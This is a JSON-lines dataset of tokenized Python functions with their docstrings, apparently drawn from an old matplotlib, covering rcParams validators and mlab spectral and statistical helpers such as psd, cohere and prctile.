{"signature": "def set_active(self, active):", "body": "self.active = active<EOL>", "docstring": "Use this to activate / deactivate the RectangleSelector\n\n            from your program with an boolean variable 'active'.", "id": "f17235:c11:m7"}
{"signature": "def get_active(self):", "body": "return self.active<EOL>", "docstring": "to get status of active mode (boolean variable)", "id": "f17235:c11:m8"}
{"signature": "def validate_path_exists(s):", "body": "if os.path.exists(s): return s<EOL>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>'%s)<EOL><DEDENT>", "docstring": "If s is a path, return s, else False", "id": "f17236:m0"}
{"signature": "def validate_bool(b):", "body": "if type(b) is str:<EOL><INDENT>b = b.lower()<EOL><DEDENT>if b in ('<STR_LIT:t>', '<STR_LIT:y>', '<STR_LIT:yes>', '<STR_LIT>', '<STR_LIT:true>', '<STR_LIT:1>', <NUM_LIT:1>, True): return True<EOL>elif b in ('<STR_LIT:f>', '<STR_LIT:n>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:false>', '<STR_LIT:0>', <NUM_LIT:0>, False): return False<EOL>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % b)<EOL><DEDENT>", "docstring": "Convert b to a boolean or raise", "id": "f17236:m1"}
{"signature": "def validate_bool_maybe_none(b):", "body": "if type(b) is str:<EOL><INDENT>b = b.lower()<EOL><DEDENT>if b=='<STR_LIT:none>': return None<EOL>if b in ('<STR_LIT:t>', '<STR_LIT:y>', '<STR_LIT:yes>', '<STR_LIT>', '<STR_LIT:true>', '<STR_LIT:1>', <NUM_LIT:1>, True): return True<EOL>elif b in ('<STR_LIT:f>', '<STR_LIT:n>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:false>', '<STR_LIT:0>', <NUM_LIT:0>, False): return False<EOL>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % b)<EOL><DEDENT>", "docstring": "Convert b to a boolean or raise", "id": "f17236:m2"}
{"signature": "def validate_float(s):", "body": "try: return float(s)<EOL>except ValueError:<EOL><INDENT>raise ValueError('<STR_LIT>' % s)<EOL><DEDENT>", "docstring": "convert s to float or raise", "id": "f17236:m3"}
{"signature": "def validate_int(s):", "body": "try: return int(s)<EOL>except ValueError:<EOL><INDENT>raise ValueError('<STR_LIT>' % s)<EOL><DEDENT>", "docstring": "convert s to int or raise", "id": "f17236:m4"}
{"signature": "def validate_fonttype(s):", "body": "fonttypes = { '<STR_LIT>':    <NUM_LIT:3>,<EOL>'<STR_LIT>': <NUM_LIT> }<EOL>try:<EOL><INDENT>fonttype = validate_int(s)<EOL><DEDENT>except ValueError:<EOL><INDENT>if s.lower() in list(fonttypes.keys()):<EOL><INDENT>return fonttypes[s.lower()]<EOL><DEDENT>raise ValueError('<STR_LIT>' % list(fonttypes.keys()))<EOL><DEDENT>else:<EOL><INDENT>if fonttype not in list(fonttypes.values()):<EOL><INDENT>raise ValueError('<STR_LIT>' % list(fonttypes.values()))<EOL><DEDENT>return fonttype<EOL><DEDENT>", "docstring": "confirm that this is a Postscript of PDF font type that we know how to convert to", "id": "f17236:m5"}
{"signature": "def validate_color(s):", "body": "if s.lower() == '<STR_LIT:none>':<EOL><INDENT>return '<STR_LIT:None>'<EOL><DEDENT>if is_color_like(s):<EOL><INDENT>return s<EOL><DEDENT>stmp = '<STR_LIT:#>' + s<EOL>if is_color_like(stmp):<EOL><INDENT>return stmp<EOL><DEDENT>colorarg = s<EOL>msg = '<STR_LIT>'<EOL>if s.find('<STR_LIT:U+002C>')>=<NUM_LIT:0>:<EOL><INDENT>stmp = '<STR_LIT>'.join([ c for c in s if c.isdigit() or c=='<STR_LIT:.>' or c=='<STR_LIT:U+002C>'])<EOL>vals = stmp.split('<STR_LIT:U+002C>')<EOL>if len(vals)!=<NUM_LIT:3>:<EOL><INDENT>msg = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>colorarg = [float(val) for val in vals]<EOL><DEDENT>except ValueError:<EOL><INDENT>msg = '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT>if not msg and is_color_like(colorarg):<EOL><INDENT>return colorarg<EOL><DEDENT>raise ValueError('<STR_LIT>'%(s, msg))<EOL>", "docstring": "return a valid color arg", "id": "f17236:m8"}
{"signature": "def validate_stringlist(s):", "body": "if type(s) is str:<EOL><INDENT>return [ v.strip() for v in s.split('<STR_LIT:U+002C>') ]<EOL><DEDENT>else:<EOL><INDENT>assert type(s) in [list,tuple]<EOL>return [ str(v) for v in s ]<EOL><DEDENT>", "docstring": "return a list", "id": "f17236:m9"}
{"signature": "def __init__(self, key, valid, ignorecase=False):", "body": "self.key = key<EOL>self.ignorecase = ignorecase<EOL>def func(s):<EOL><INDENT>if ignorecase: return s.lower()<EOL>else: return s<EOL><DEDENT>self.valid = dict([(func(k),k) for k in valid])<EOL>", "docstring": "valid is a list of legal strings", "id": "f17236:c0:m0"}
{"signature": "def __call__(self, s):", "body": "if type(s) is str:<EOL><INDENT>ss = s.split('<STR_LIT:U+002C>')<EOL>if len(ss) != self.n:<EOL><INDENT>raise ValueError('<STR_LIT>'%self.n)<EOL><DEDENT>try:<EOL><INDENT>return [float(val) for val in ss]<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>assert type(s) in (list,tuple)<EOL>if len(s) != self.n:<EOL><INDENT>raise ValueError('<STR_LIT>'%self.n)<EOL><DEDENT>return [float(val) for val in s]<EOL><DEDENT>", "docstring": "return a seq of n floats or raise", "id": "f17236:c1:m1"}
{"signature": "def __call__(self, s):", "body": "if type(s) is str:<EOL><INDENT>ss = s.split('<STR_LIT:U+002C>')<EOL>if len(ss) != self.n:<EOL><INDENT>raise ValueError('<STR_LIT>'%self.n)<EOL><DEDENT>try:<EOL><INDENT>return [int(val) for val in ss]<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>assert type(s) in (list,tuple)<EOL>if len(s) != self.n:<EOL><INDENT>raise ValueError('<STR_LIT>'%self.n)<EOL><DEDENT>return [int(val) for val in s]<EOL><DEDENT>", "docstring": "return a seq of n ints or raise", "id": "f17236:c2:m1"}
{"signature": "def _norm(x):", "body": "return np.sqrt(np.dot(x,x))<EOL>", "docstring": "return sqrt(x dot x)", "id": "f17237:m4"}
{"signature": "def window_hanning(x):", "body": "return np.hanning(len(x))*x<EOL>", "docstring": "return x times the hanning window of len(x)", "id": "f17237:m5"}
{"signature": "def window_none(x):", "body": "return x<EOL>", "docstring": "No window function; simply return x", "id": "f17237:m6"}
{"signature": "def conv(x, y, mode=<NUM_LIT:2>):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return np.convolve(x,y,mode)<EOL>", "docstring": "convolve x with y", "id": "f17237:m7"}
{"signature": "def demean(x, axis=<NUM_LIT:0>):", "body": "x = np.asarray(x)<EOL>if axis:<EOL><INDENT>ind = [slice(None)] * axis<EOL>ind.append(np.newaxis)<EOL>return x - x.mean(axis)[ind]<EOL><DEDENT>return x - x.mean(axis)<EOL>", "docstring": "Return x minus its mean along the specified axis", "id": "f17237:m9"}
{"signature": "def detrend_mean(x):", "body": "return x - x.mean()<EOL>", "docstring": "Return x minus the mean(x)", "id": "f17237:m10"}
{"signature": "def detrend_none(x):", "body": "return x<EOL>", "docstring": "Return x: no detrending", "id": "f17237:m11"}
{"signature": "def detrend_linear(y):", "body": "<EOL>x = np.arange(len(y), dtype=np.float_)<EOL>C = np.cov(x, y, bias=<NUM_LIT:1>)<EOL>b = C[<NUM_LIT:0>,<NUM_LIT:1>]/C[<NUM_LIT:0>,<NUM_LIT:0>]<EOL>a = y.mean() - b*x.mean()<EOL>return y - (b*x + a)<EOL>", "docstring": "Return y minus best fit line; 'linear' detrending", "id": "f17237:m12"}
{"signature": "def psd(x, NFFT=<NUM_LIT>, Fs=<NUM_LIT:2>, detrend=detrend_none, window=window_hanning,<EOL>noverlap=<NUM_LIT:0>, pad_to=None, sides='<STR_LIT:default>', scale_by_freq=None):", "body": "Pxx,freqs = csd(x, x, NFFT, Fs, detrend, window, noverlap, pad_to, sides,<EOL>scale_by_freq)<EOL>return Pxx.real,freqs<EOL>", "docstring": "The power spectral density by Welch's average periodogram method.\nThe vector *x* is divided into *NFFT* length blocks.  Each block\nis detrended by the function *detrend* and windowed by the function\n*window*.  *noverlap* gives the length of the overlap between blocks.\nThe absolute(fft(block))**2 of each segment are averaged to compute\n*Pxx*, with a scaling to correct for power loss due to windowing.\n\nIf len(*x*) < *NFFT*, it will be zero padded to *NFFT*.\n\n*x*\n    Array or sequence containing the data\n%(PSD)s\nReturns the tuple (*Pxx*, *freqs*).\n\nRefs:\n    Bendat & Piersol -- Random Data: Analysis and Measurement\n    Procedures, John Wiley & Sons (1986)", "id": "f17237:m14"}
{"signature": "def csd(x, y, NFFT=<NUM_LIT>, Fs=<NUM_LIT:2>, detrend=detrend_none, window=window_hanning,<EOL>noverlap=<NUM_LIT:0>, pad_to=None, sides='<STR_LIT:default>', scale_by_freq=None):", "body": "Pxy, freqs, t = _spectral_helper(x, y, NFFT, Fs, detrend, window,<EOL>noverlap, pad_to, sides, scale_by_freq)<EOL>if len(Pxy.shape) == <NUM_LIT:2> and Pxy.shape[<NUM_LIT:1>]><NUM_LIT:1>:<EOL><INDENT>Pxy = Pxy.mean(axis=<NUM_LIT:1>)<EOL><DEDENT>return Pxy, freqs<EOL>", "docstring": "The cross power spectral density by Welch's average periodogram\nmethod.  The vectors *x* and *y* are divided into *NFFT* length\nblocks.  Each block is detrended by the function *detrend* and\nwindowed by the function *window*.  *noverlap* gives the length\nof the overlap between blocks.  The product of the direct FFTs\nof *x* and *y* are averaged over each segment to compute *Pxy*,\nwith a scaling to correct for power loss due to windowing.\n\nIf len(*x*) < *NFFT* or len(*y*) < *NFFT*, they will be zero\npadded to *NFFT*.\n\n*x*, *y*\n    Array or sequence containing the data\n%(PSD)s\nReturns the tuple (*Pxy*, *freqs*).\n\nRefs:\n    Bendat & Piersol -- Random Data: Analysis and Measurement\n    Procedures, John Wiley & Sons (1986)", "id": "f17237:m15"}
{"signature": "def specgram(x, NFFT=<NUM_LIT>, Fs=<NUM_LIT:2>, detrend=detrend_none, window=window_hanning,<EOL>noverlap=<NUM_LIT>, pad_to=None, sides='<STR_LIT:default>', scale_by_freq=None):", "body": "assert(NFFT > noverlap)<EOL>Pxx, freqs, t = _spectral_helper(x, x, NFFT, Fs, detrend, window,<EOL>noverlap, pad_to, sides, scale_by_freq)<EOL>Pxx = Pxx.real <EOL>if (np.iscomplexobj(x) and sides == '<STR_LIT:default>') or sides == '<STR_LIT>':<EOL><INDENT>freqs = np.concatenate((freqs[NFFT/<NUM_LIT:2>:]-Fs,freqs[:NFFT/<NUM_LIT:2>]))<EOL>Pxx   = np.concatenate((Pxx[NFFT/<NUM_LIT:2>:,:],Pxx[:NFFT/<NUM_LIT:2>,:]),<NUM_LIT:0>)<EOL><DEDENT>return Pxx, freqs, t<EOL>", "docstring": "Compute a spectrogram of data in *x*.  Data are split into *NFFT*\nlength segements and the PSD of each section is computed.  The\nwindowing function *window* is applied to each segment, and the\namount of overlap of each segment is specified with *noverlap*.\n\nIf *x* is real (i.e. non-complex) only the spectrum of the positive\nfrequencie is returned.  If *x* is complex then the complete\nspectrum is returned.\n%(PSD)s\nReturns a tuple (*Pxx*, *freqs*, *t*):\n\n     - *Pxx*: 2-D array, columns are the periodograms of\n       successive segments\n\n     - *freqs*: 1-D array of frequencies corresponding to the rows\n       in Pxx\n\n     - *t*: 1-D array of times corresponding to midpoints of\n       segments.\n\n.. seealso::\n    :func:`psd`:\n        :func:`psd` differs in the default overlap; in returning\n        the mean of the segment periodograms; and in not returning\n        times.", "id": "f17237:m16"}
{"signature": "def cohere(x, y, NFFT=<NUM_LIT>, Fs=<NUM_LIT:2>, detrend=detrend_none, window=window_hanning,<EOL>noverlap=<NUM_LIT:0>, pad_to=None, sides='<STR_LIT:default>', scale_by_freq=None):", "body": "if len(x)<<NUM_LIT:2>*NFFT:<EOL><INDENT>raise ValueError(_coh_error)<EOL><DEDENT>Pxx, f = psd(x, NFFT, Fs, detrend, window, noverlap, pad_to, sides,<EOL>scale_by_freq)<EOL>Pyy, f = psd(y, NFFT, Fs, detrend, window, noverlap, pad_to, sides,<EOL>scale_by_freq)<EOL>Pxy, f = csd(x, y, NFFT, Fs, detrend, window, noverlap, pad_to, sides,<EOL>scale_by_freq)<EOL>Cxy = np.divide(np.absolute(Pxy)**<NUM_LIT:2>, Pxx*Pyy)<EOL>Cxy.shape = (len(f),)<EOL>return Cxy, f<EOL>", "docstring": "The coherence between *x* and *y*.  Coherence is the normalized\ncross spectral density:\n\n.. math::\n\n    C_{xy} = \\\\frac{|P_{xy}|^2}{P_{xx}P_{yy}}\n\n*x*, *y*\n    Array or sequence containing the data\n%(PSD)s\nThe return value is the tuple (*Cxy*, *f*), where *f* are the\nfrequencies of the coherence vector. For cohere, scaling the\nindividual densities by the sampling frequency has no effect, since\nthe factors cancel out.\n\n.. seealso::\n    :func:`psd` and :func:`csd`:\n        For information about the methods used to compute\n        :math:`P_{xy}`, :math:`P_{xx}` and :math:`P_{yy}`.", "id": "f17237:m17"}
{"signature": "def corrcoef(*args):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>kw = dict(rowvar=False)<EOL>return np.corrcoef(*args, **kw)<EOL>", "docstring": "corrcoef(*X*) where *X* is a matrix returns a matrix of correlation\ncoefficients for the columns of *X*\n\ncorrcoef(*x*, *y*) where *x* and *y* are vectors returns the matrix of\ncorrelation coefficients for *x* and *y*.\n\nNumpy arrays can be real or complex.\n\nThe correlation matrix is defined from the covariance matrix *C*\nas\n\n.. math::\n\n  r_{ij} = \\\\frac{C_{ij}}{\\\\sqrt{C_{ii}C_{jj}}}", "id": "f17237:m18"}
{"signature": "def polyfit(*args, **kwargs):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return np.polyfit(*args, **kwargs)<EOL>", "docstring": "polyfit(*x*, *y*, *N*)\n\nDo a best fit polynomial of order *N* of *y* to *x*.  Return value\nis a vector of polynomial coefficients [pk ... p1 p0].  Eg, for\n*N*=2::\n\n  p2*x0^2 +  p1*x0 + p0 = y1\n  p2*x1^2 +  p1*x1 + p0 = y1\n  p2*x2^2 +  p1*x2 + p0 = y2\n  .....\n  p2*xk^2 +  p1*xk + p0 = yk\n\n\nMethod: if *X* is a the Vandermonde Matrix computed from *x* (see\n`vandermonds\n<http://mathworld.wolfram.com/VandermondeMatrix.html>`_), then the\npolynomial least squares solution is given by the '*p*' in\n\n  X*p = y\n\nwhere *X* is a (len(*x*) \\N{MULTIPLICATION SIGN} *N* + 1) matrix,\n*p* is a *N*+1 length vector, and *y* is a (len(*x*)\n\\N{MULTIPLICATION SIGN} 1) vector.\n\nThis equation can be solved as\n\n.. math::\n\n  p = (X_t X)^-1 X_t y\n\nwhere :math:`X_t` is the transpose of *X* and -1 denotes the\ninverse.  Numerically, however, this is not a good method, so we\nuse :func:`numpy.linalg.lstsq`.\n\nFor more info, see `least squares fitting\n<http://mathworld.wolfram.com/LeastSquaresFittingPolynomial.html>`_,\nbut note that the *k*'s and *n*'s in the superscripts and\nsubscripts on that page.  The linear algebra is correct, however.\n\n.. seealso::\n    :func:`polyval`", "id": "f17237:m19"}
{"signature": "def polyval(*args, **kwargs):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return np.polyval(*args, **kwargs)<EOL>", "docstring": "*y* = polyval(*p*, *x*)\n\n*p* is a vector of polynomial coeffients and *y* is the polynomial\nevaluated at *x*.\n\nExample code to remove a polynomial (quadratic) trend from y::\n\n  p = polyfit(x, y, 2)\n  trend = polyval(p, x)\n  resid = y - trend\n\n.. seealso::\n    :func:`polyfit`", "id": "f17237:m20"}
{"signature": "def vander(*args, **kwargs):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return np.vander(*args, **kwargs)<EOL>", "docstring": "*X* = vander(*x*, *N* = *None*)\n\nThe Vandermonde matrix of vector *x*.  The *i*-th column of *X* is the\nthe *i*-th power of *x*.  *N* is the maximum power to compute; if *N* is\n*None* it defaults to len(*x*).", "id": "f17237:m21"}
{"signature": "def cohere_pairs( X, ij, NFFT=<NUM_LIT>, Fs=<NUM_LIT:2>, detrend=detrend_none,<EOL>window=window_hanning, noverlap=<NUM_LIT:0>,<EOL>preferSpeedOverMemory=True,<EOL>progressCallback=donothing_callback,<EOL>returnPxx=False):", "body": "numRows, numCols = X.shape<EOL>if numRows < NFFT:<EOL><INDENT>tmp = X<EOL>X = np.zeros( (NFFT, numCols), X.dtype)<EOL>X[:numRows,:] = tmp<EOL>del tmp<EOL><DEDENT>numRows, numCols = X.shape<EOL>seen = {}<EOL>for i,j in ij:<EOL><INDENT>seen[i]=<NUM_LIT:1>; seen[j] = <NUM_LIT:1><EOL><DEDENT>allColumns = list(seen.keys())<EOL>Ncols = len(allColumns)<EOL>del seen<EOL>if np.iscomplexobj(X): numFreqs = NFFT<EOL>else: numFreqs = NFFT//<NUM_LIT:2>+<NUM_LIT:1><EOL>if cbook.iterable(window):<EOL><INDENT>assert(len(window) == NFFT)<EOL>windowVals = window<EOL><DEDENT>else:<EOL><INDENT>windowVals = window(np.ones((NFFT,), typecode(X)))<EOL><DEDENT>ind = list(range(<NUM_LIT:0>, numRows-NFFT+<NUM_LIT:1>, NFFT-noverlap))<EOL>numSlices = len(ind)<EOL>FFTSlices = {}<EOL>FFTConjSlices = {}<EOL>Pxx = {}<EOL>slices = list(range(numSlices))<EOL>normVal = norm(windowVals)**<NUM_LIT:2><EOL>for iCol in allColumns:<EOL><INDENT>progressCallback(i/Ncols, '<STR_LIT>')<EOL>Slices = np.zeros( (numSlices,numFreqs), dtype=np.complex_)<EOL>for iSlice in slices:<EOL><INDENT>thisSlice = X[ind[iSlice]:ind[iSlice]+NFFT, iCol]<EOL>thisSlice = windowVals*detrend(thisSlice)<EOL>Slices[iSlice,:] = fft(thisSlice)[:numFreqs]<EOL><DEDENT>FFTSlices[iCol] = Slices<EOL>if preferSpeedOverMemory:<EOL><INDENT>FFTConjSlices[iCol] = conjugate(Slices)<EOL><DEDENT>Pxx[iCol] = np.divide(np.mean(absolute(Slices)**<NUM_LIT:2>), normVal)<EOL><DEDENT>del Slices, ind, windowVals<EOL>Cxy = {}<EOL>Phase = {}<EOL>count = <NUM_LIT:0><EOL>N = len(ij)<EOL>for i,j in ij:<EOL><INDENT>count +=<NUM_LIT:1><EOL>if count%<NUM_LIT:10>==<NUM_LIT:0>:<EOL><INDENT>progressCallback(count/N, '<STR_LIT>')<EOL><DEDENT>if preferSpeedOverMemory:<EOL><INDENT>Pxy = FFTSlices[i] * FFTConjSlices[j]<EOL><DEDENT>else:<EOL><INDENT>Pxy = FFTSlices[i] * np.conjugate(FFTSlices[j])<EOL><DEDENT>if numSlices><NUM_LIT:1>: Pxy = np.mean(Pxy)<EOL>Pxy = np.divide(Pxy, normVal)<EOL>Cxy[(i,j)] = np.divide(np.absolute(Pxy)**<NUM_LIT:2>, Pxx[i]*Pxx[j])<EOL>Phase[(i,j)] =  np.arctan2(Pxy.imag, Pxy.real)<EOL><DEDENT>freqs = Fs/NFFT*np.arange(numFreqs)<EOL>if returnPxx:<EOL><INDENT>return Cxy, Phase, freqs, Pxx<EOL><DEDENT>else:<EOL><INDENT>return Cxy, Phase, freqs<EOL><DEDENT>", "docstring": "Cxy, Phase, freqs = cohere_pairs(X, ij, ...)\n\nCompute the coherence for all pairs in *ij*.  *X* is a\n(*numSamples*, *numCols*) numpy array.  *ij* is a list of tuples\n(*i*, *j*).  Each tuple is a pair of indexes into the columns of *X*\nfor which you want to compute coherence.  For example, if *X* has 64\ncolumns, and you want to compute all nonredundant pairs, define *ij*\nas::\n\n  ij = []\n  for i in range(64):\n      for j in range(i+1,64):\n          ij.append( (i, j) )\n\nThe other function arguments, except for *preferSpeedOverMemory*\n(see below), are explained in the help string of :func:`psd`.\n\nReturn value is a tuple (*Cxy*, *Phase*, *freqs*).\n\n  - *Cxy*: a dictionary of (*i*, *j*) tuples -> coherence vector for that\n    pair.  I.e., ``Cxy[(i,j)] = cohere(X[:,i], X[:,j])``.  Number of\n    dictionary keys is ``len(ij)``.\n\n  - *Phase*: a dictionary of phases of the cross spectral density at\n    each frequency for each pair.  The keys are ``(i,j)``.\n\n  - *freqs*: a vector of frequencies, equal in length to either\n    the coherence or phase vectors for any (*i*, *j*) key..  Eg,\n    to make a coherence Bode plot::\n\n      subplot(211)\n      plot( freqs, Cxy[(12,19)])\n      subplot(212)\n      plot( freqs, Phase[(12,19)])\n\nFor a large number of pairs, :func:`cohere_pairs` can be much more\nefficient than just calling :func:`cohere` for each pair, because\nit caches most of the intensive computations.  If *N* is the\nnumber of pairs, this function is O(N) for most of the heavy\nlifting, whereas calling cohere for each pair is\nO(N\\N{SUPERSCRIPT TWO}).  However, because of the caching, it is\nalso more memory intensive, making 2 additional complex arrays\nwith approximately the same number of elements as *X*.\n\nThe parameter *preferSpeedOverMemory*, if *False*, limits the\ncaching by only making one, rather than two, complex cache arrays.\nThis is useful if memory becomes critical.  Even when\n*preferSpeedOverMemory* is *False*, :func:`cohere_pairs` will\nstill give significant performace gains over calling\n:func:`cohere` for each pair, and will use subtantially less\nmemory than if *preferSpeedOverMemory* is *True*.  In my tests\nwith a (43000, 64) array over all non-redundant pairs,\n*preferSpeedOverMemory* = *True* delivered a 33% performace boost\non a 1.7GHZ Athlon with 512MB RAM compared with\n*preferSpeedOverMemory* = *False*.  But both solutions were more\nthan 10x faster than naievly crunching all possible pairs through\ncohere.\n\n.. seealso::\n    :file:`test/cohere_pairs_test.py` in the src tree:\n        For an example script that shows that this\n        :func:`cohere_pairs` and :func:`cohere` give the same\n        results for a given pair.", "id": "f17237:m23"}
{"signature": "def entropy(y, bins):", "body": "n,bins = np.histogram(y, bins)<EOL>n = n.astype(np.float_)<EOL>n = np.take(n, np.nonzero(n)[<NUM_LIT:0>])         <EOL>p = np.divide(n, len(y))<EOL>delta = bins[<NUM_LIT:1>]-bins[<NUM_LIT:0>]<EOL>S = -<NUM_LIT:1.0>*np.sum(p*log(p)) + log(delta)<EOL>return S<EOL>", "docstring": "r\"\"\"\n    Return the entropy of the data in *y*.\n\n    .. math::\n\n      \\sum p_i \\log_2(p_i)\n\n    where :math:`p_i` is the probability of observing *y* in the\n    :math:`i^{th}` bin of *bins*.  *bins* can be a number of bins or a\n    range of bins; see :func:`numpy.histogram`.\n\n    Compare *S* with analytic calculation for a Gaussian::\n\n      x = mu + sigma * randn(200000)\n      Sanalytic = 0.5 * ( 1.0 + log(2*pi*sigma**2.0) )", "id": "f17237:m24"}
{"signature": "def hist(y, bins=<NUM_LIT:10>, normed=<NUM_LIT:0>):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return np.histogram(y, bins=bins, range=None, normed=normed)<EOL>", "docstring": "Return the histogram of *y* with *bins* equally sized bins.  If\nbins is an array, use those bins.  Return value is (*n*, *x*)\nwhere *n* is the count for each bin in *x*.\n\nIf *normed* is *False*, return the counts in the first element of\nthe returned tuple.  If *normed* is *True*, return the probability\ndensity :math:`\\\\frac{n}{(len(y)\\mathrm{dbin}}`.\n\nIf *y* has rank > 1, it will be raveled.  If *y* is masked, only the\nunmasked values will be used.\n\nCredits: the Numeric 22 documentation", "id": "f17237:m25"}
{"signature": "def normpdf(x, *args):", "body": "mu, sigma = args<EOL>return <NUM_LIT:1.>/(np.sqrt(<NUM_LIT:2>*np.pi)*sigma)*np.exp(-<NUM_LIT:0.5> * (<NUM_LIT:1.>/sigma*(x - mu))**<NUM_LIT:2>)<EOL>", "docstring": "Return the normal pdf evaluated at *x*; args provides *mu*, *sigma*", "id": "f17237:m26"}
{"signature": "def levypdf(x, gamma, alpha):", "body": "N = len(x)<EOL>if N%<NUM_LIT:2> != <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>' +'<STR_LIT>')<EOL><DEDENT>dx = x[<NUM_LIT:1>]-x[<NUM_LIT:0>]<EOL>f = <NUM_LIT:1>/(N*dx)*np.arange(-N/<NUM_LIT:2>, N/<NUM_LIT:2>, np.float_)<EOL>ind = np.concatenate([np.arange(N/<NUM_LIT:2>, N, int),<EOL>np.arange(<NUM_LIT:0>, N/<NUM_LIT:2>, int)])<EOL>df = f[<NUM_LIT:1>]-f[<NUM_LIT:0>]<EOL>cfl = exp(-gamma*np.absolute(<NUM_LIT:2>*pi*f)**alpha)<EOL>px = np.fft.fft(np.take(cfl,ind)*df).astype(np.float_)<EOL>return np.take(px, ind)<EOL>", "docstring": "Returm the levy pdf evaluated at *x* for params *gamma*, *alpha*", "id": "f17237:m27"}
{"signature": "def find(condition):", "body": "res, = np.nonzero(np.ravel(condition))<EOL>return res<EOL>", "docstring": "Return the indices where ravel(condition) is true", "id": "f17237:m28"}
{"signature": "def trapz(x, y):", "body": "warnings.warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return np.trapz(y, x)<EOL>", "docstring": "Trapezoidal integral of *y*(*x*).", "id": "f17237:m29"}
{"signature": "def longest_contiguous_ones(x):", "body": "x = np.ravel(x)<EOL>if len(x)==<NUM_LIT:0>:<EOL><INDENT>return np.array([])<EOL><DEDENT>ind = (x==<NUM_LIT:0>).nonzero()[<NUM_LIT:0>]<EOL>if len(ind)==<NUM_LIT:0>:<EOL><INDENT>return np.arange(len(x))<EOL><DEDENT>if len(ind)==len(x):<EOL><INDENT>return np.array([])<EOL><DEDENT>y = np.zeros( (len(x)+<NUM_LIT:2>,), x.dtype)<EOL>y[<NUM_LIT:1>:-<NUM_LIT:1>] = x<EOL>dif = np.diff(y)<EOL>up = (dif ==  <NUM_LIT:1>).nonzero()[<NUM_LIT:0>];<EOL>dn = (dif == -<NUM_LIT:1>).nonzero()[<NUM_LIT:0>];<EOL>i = (dn-up == max(dn - up)).nonzero()[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>ind = np.arange(up[i], dn[i])<EOL>return ind<EOL>", "docstring": "Return the indices of the longest stretch of contiguous ones in *x*,\nassuming *x* is a vector of zeros and ones.  If there are two\nequally long stretches, pick the first.", "id": "f17237:m30"}
{"signature": "def longest_ones(x):", "body": "return longest_contiguous_ones(x)<EOL>", "docstring": "alias for longest_contiguous_ones", "id": "f17237:m31"}
{"signature": "def prepca(P, frac=<NUM_LIT:0>):", "body": "U,s,v = np.linalg.svd(P)<EOL>varEach = s**<NUM_LIT:2>/P.shape[<NUM_LIT:1>]<EOL>totVar = varEach.sum()<EOL>fracVar = varEach/totVar<EOL>ind = slice((fracVar>=frac).sum())<EOL>Trans = U[:,ind].transpose()<EOL>Pcomponents = np.dot(Trans,P)<EOL>return Pcomponents, Trans, fracVar[ind]<EOL>", "docstring": "Compute the principal components of *P*.  *P* is a (*numVars*,\n*numObs*) array.  *frac* is the minimum fraction of variance that a\ncomponent must contain to be included.\n\nReturn value is a tuple of the form (*Pcomponents*, *Trans*,\n*fracVar*) where:\n\n  - *Pcomponents* : a (numVars, numObs) array\n\n  - *Trans* : the weights matrix, ie, *Pcomponents* = *Trans* *\n     *P*\n\n  - *fracVar* : the fraction of the variance accounted for by each\n     component returned\n\nA similar function of the same name was in the Matlab (TM)\nR13 Neural Network Toolbox but is not found in later versions;\nits successor seems to be called \"processpcs\".", "id": "f17237:m32"}
{"signature": "def prctile(x, p = (<NUM_LIT:0.0>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)):", "body": "x = np.array(x).ravel()  <EOL>x.sort()<EOL>Nx = len(x)<EOL>if not cbook.iterable(p):<EOL><INDENT>return x[int(p*Nx/<NUM_LIT>)]<EOL><DEDENT>p = np.asarray(p)* Nx/<NUM_LIT><EOL>ind = p.astype(int)<EOL>ind = np.where(ind>=Nx, Nx-<NUM_LIT:1>, ind)<EOL>return x.take(ind)<EOL>", "docstring": "Return the percentiles of *x*.  *p* can either be a sequence of\npercentile values or a scalar.  If *p* is a sequence, the ith\nelement of the return sequence is the *p*(i)-th percentile of *x*.\nIf *p* is a scalar, the largest value of *x* less than or equal to\nthe *p* percentage point in the sequence is returned.", "id": "f17237:m33"}
{"signature": "def prctile_rank(x, p):", "body": "if not cbook.iterable(p):<EOL><INDENT>p = np.arange(<NUM_LIT>/p, <NUM_LIT>, <NUM_LIT>/p)<EOL><DEDENT>else:<EOL><INDENT>p = np.asarray(p)<EOL><DEDENT>if p.max()<=<NUM_LIT:1> or p.min()<<NUM_LIT:0> or p.max()><NUM_LIT:100>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>ptiles = prctile(x, p)<EOL>return np.searchsorted(ptiles, x)<EOL>", "docstring": "Return the rank for each element in *x*, return the rank\n0..len(*p*).  Eg if *p* = (25, 50, 75), the return value will be a\nlen(*x*) array with values in [0,1,2,3] where 0 indicates the\nvalue is less than the 25th percentile, 1 indicates the value is\n>= the 25th and < 50th percentile, ... and 3 indicates the value\nis above the 75th percentile cutoff.\n\n*p* is either an array of percentiles in [0..100] or a scalar which\nindicates how many quantiles of data you want ranked.", "id": "f17237:m34"}
